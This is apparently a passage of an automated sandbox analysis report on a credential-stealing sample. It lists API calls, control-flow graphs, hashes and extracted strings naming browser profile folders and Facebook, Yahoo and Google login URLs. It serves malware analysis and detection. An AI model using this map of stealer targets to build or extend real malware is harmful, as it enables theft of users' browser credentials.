                                                                                                                                                                                                  control_flow_graph 716 41837f-4183bf 717 4183c1-4183cc call 418197 716->717 718 4183dc-4183ec call 418160 716->718 723 4183d2-4183d8 717->723 724 418517-41851d 717->724 725 4183f6-41840b 718->725 726 4183ee-4183f1 718->726 723->718 727 418417-418423 725->727 728 41840d-418415 725->728 726->724 729 418427-418442 call 41739b 727->729 728->729 732 418444-41845d CreateFileW 729->732 733 41845f-418475 CreateFileA 729->733 734 418477-41847c 732->734 733->734 735 4184c2-4184c7 734->735 736 41847e-418495 GetLastError free 734->736 739 4184d5-418501 memset call 418758 735->739 740 4184c9-4184d3 735->740 737 4184b5-4184c0 call 444706 736->737 738 418497-4184b3 call 41837f 736->738 737->724 738->724 746 418506-418515 free 739->746 740->739 746->724
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNELBASE(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                                                                                                                                                                                                  • CreateFileA.KERNEL32(?,-7FBE829D,00000003,00000000,|A,00417CE3,00000000), ref: 0041846F
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041847E
                                                                                                                                                                                                  • free.MSVCRT ref: 0041848B
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CreateFile$ErrorLastfree
                                                                                                                                                                                                  • String ID: |A
                                                                                                                                                                                                  • API String ID: 77810686-1717621600
                                                                                                                                                                                                  • Opcode ID: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                                                                                                                                  • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                                                                                                                                                                                                  Function 0040D134 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 747 40d134-40d13b 748 40d142-40d14e 747->748 749 40d13d call 40d092 747->749 750 40d160 748->750 751 40d150-40d159 748->751 749->748 755 40d162-40d164 750->755 753 40d15b-40d15e 751->753 754 40d18d-40d19f 751->754 753->750 753->751 754->755 756 40d295 755->756 757 40d16a-40d170 755->757 760 40d297-40d299 756->760 758 40d1a1-40d1a9 757->758 759 40d172-40d18b GetModuleHandleW 757->759 762 40d1f8-40d206 call 40d29a 758->762 763 40d1ab-40d1cb wcscpy call 40d626 758->763 761 40d20b-40d214 LoadStringW 759->761 764 40d216 761->764 762->761 771 40d1cd-40d1dd wcslen 763->771 772 40d1df-40d1f6 GetModuleHandleW 763->772 767 40d218-40d227 764->767 768 40d28e-40d293 764->768 767->768 770 40d229-40d235 767->770 768->760 770->768 773 40d237-40d28c memcpy 770->773 771->764 771->772 772->761 773->756 773->768
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                                                                                                    • Part of subcall function 0040D626: memset.MSVCRT ref: 0040D639
                                                                                                                                                                                                    • Part of subcall function 0040D626: _itow.MSVCRT ref: 0040D647
                                                                                                                                                                                                  • wcslen.MSVCRT ref: 0040D1D3
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                                                                                                  • LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000002,?,?,00402E6F), ref: 0040D24C
                                                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0CC
                                                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0EA
                                                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D108
                                                                                                                                                                                                    • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D126
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                                                                                                                                                                                                  • String ID: strings
                                                                                                                                                                                                  • API String ID: 3166385802-3030018805
                                                                                                                                                                                                  • Opcode ID: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                                                                                                                                  • Instruction ID: f4589d763452722e7ce024d248fd6f149fceb83749f413ad0df853fa0cd60d20
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 78418D75D003109BD7369FA8ED809263365FF48306700047EE942972A7DEB9E886CB5D
                                                                                                                                                                                                  Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                                                                                                                                                                                                  • String ID: r!A
                                                                                                                                                                                                  • API String ID: 2791114272-628097481
                                                                                                                                                                                                  • Opcode ID: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                                                                                                  • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                                                                                                                                                                                                  Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                                                                                                                                    • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                                                                                                                                    • Part of subcall function 0040AA04: free.MSVCRT ref: 0040AA0B
                                                                                                                                                                                                    • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                                                                                                                                                                                                    • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                                                                                                                                    • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                                                                                                                                                                                                    • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                                                                                                                                                                                                    • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                                                                                                                                    • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                                                                                                                                                                                                    • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                                                                                                                                                                                                    • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                                                                                                                                    • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                                                                                                                                                                                                    • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                                                                                                                                                                                                    • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                                                                                                                                  • _wcslwr.MSVCRT ref: 0040C817
                                                                                                                                                                                                    • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                                                                                                                                                                                                    • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                                                                                                                                                                                                  • wcslen.MSVCRT ref: 0040C82C
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$free$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                                                                                                                                                                                                  • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                                                                                                                                                                                                  • API String ID: 2936932814-4196376884
                                                                                                                                                                                                  • Opcode ID: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                                                                                                  • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                                                                                                                                                                                                  Function 0040B58D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,00000000,?,?), ref: 0040B5A5
                                                                                                                                                                                                  • FindResourceW.KERNEL32(00000000,00000032,BIN), ref: 0040B5B6
                                                                                                                                                                                                  • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                                                                                                                                                                                                  • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                                                                                                                                                                                                  • LockResource.KERNEL32(00000000), ref: 0040B5DD
                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,00000000), ref: 0040B60D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                                                                                                                                                                                                  • String ID: BIN
                                                                                                                                                                                                  • API String ID: 1668488027-1015027815
                                                                                                                                                                                                  • Opcode ID: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                                                                                                  • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                                                                                                                                                                                                  Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403CBF
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403CD4
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403CE9
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403CFE
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403D13
                                                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                                                                                    • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403DDA
                                                                                                                                                                                                    • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                                                                                    • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                                                                                                                                  • String ID: Waterfox$Waterfox\Profiles
                                                                                                                                                                                                  • API String ID: 4039892925-11920434
                                                                                                                                                                                                  • Opcode ID: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                                                                                                  • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                                                                                                                                                                                                  Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403E50
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403E65
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403E7A
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403E8F
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403EA4
                                                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                                                                                    • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403F6B
                                                                                                                                                                                                    • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                                                                                    • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                                                                                                                                  • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                                                                                                                                                                                                  • API String ID: 4039892925-2068335096
                                                                                                                                                                                                  • Opcode ID: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                                                                                                  • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                                                                                                                                                                                                  Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403FE1
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403FF6
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040400B
                                                                                                                                                                                                  • memset.MSVCRT ref: 00404020
                                                                                                                                                                                                  • memset.MSVCRT ref: 00404035
                                                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                                                                                    • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                                                                                    • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                                                    • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                                                  • memset.MSVCRT ref: 004040FC
                                                                                                                                                                                                    • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                                                                                    • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                                                                                                                                                                                                  • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                                                                                                                                                                                                  • API String ID: 4039892925-3369679110
                                                                                                                                                                                                  • Opcode ID: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                                                                                                  • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                                                                                                                                                                                                  Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memcpy.MSVCRT(00000048,00451D40,0000002C,000003FF,00445FAE,?,00000000,?,0040B879), ref: 004444E3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memcpy
                                                                                                                                                                                                  • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                                                                                                                                                                                                  • API String ID: 3510742995-2641926074
                                                                                                                                                                                                  • Opcode ID: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                                                                                                                                                                                                  • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                                                                                                                                                                                                  Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                                                                                                                                    • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                                                                                                                                                                                                    • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                                                                                                                                                                                                  • memset.MSVCRT ref: 004033B7
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,0000121C), ref: 004033D0
                                                                                                                                                                                                  • wcscmp.MSVCRT ref: 004033FC
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00403439
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$_wcsicmpfreememcpywcscmpwcsrchr
                                                                                                                                                                                                  • String ID: $0.@
                                                                                                                                                                                                  • API String ID: 2758756878-1896041820
                                                                                                                                                                                                  • Opcode ID: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                                                                                                  • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                                                                                                                                                                                                  Function 004449B9 Relevance: 10.6, APIs: 7, Instructions: 61libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000,00000065,?), ref: 004449E7
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2941347001-0
                                                                                                                                                                                                  • Opcode ID: bd79a38ac81ee839f20597c7d918221762469afc0d44ed5819b9b85eb8c9be78
                                                                                                                                                                                                  • Instruction ID: 45112ec7679d7541be2eaee67b01953ccf91f0241e5cd71b41190719d78dca83
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bd79a38ac81ee839f20597c7d918221762469afc0d44ed5819b9b85eb8c9be78
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2E115871840700EDEA207F72DD0FF2B7AA5EF40B14F10882EF555594E1EBB6A8119E9C
                                                                                                                                                                                                  Function 00404363 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040440C: FreeLibrary.KERNEL32(?,0040436D,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404414
                                                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
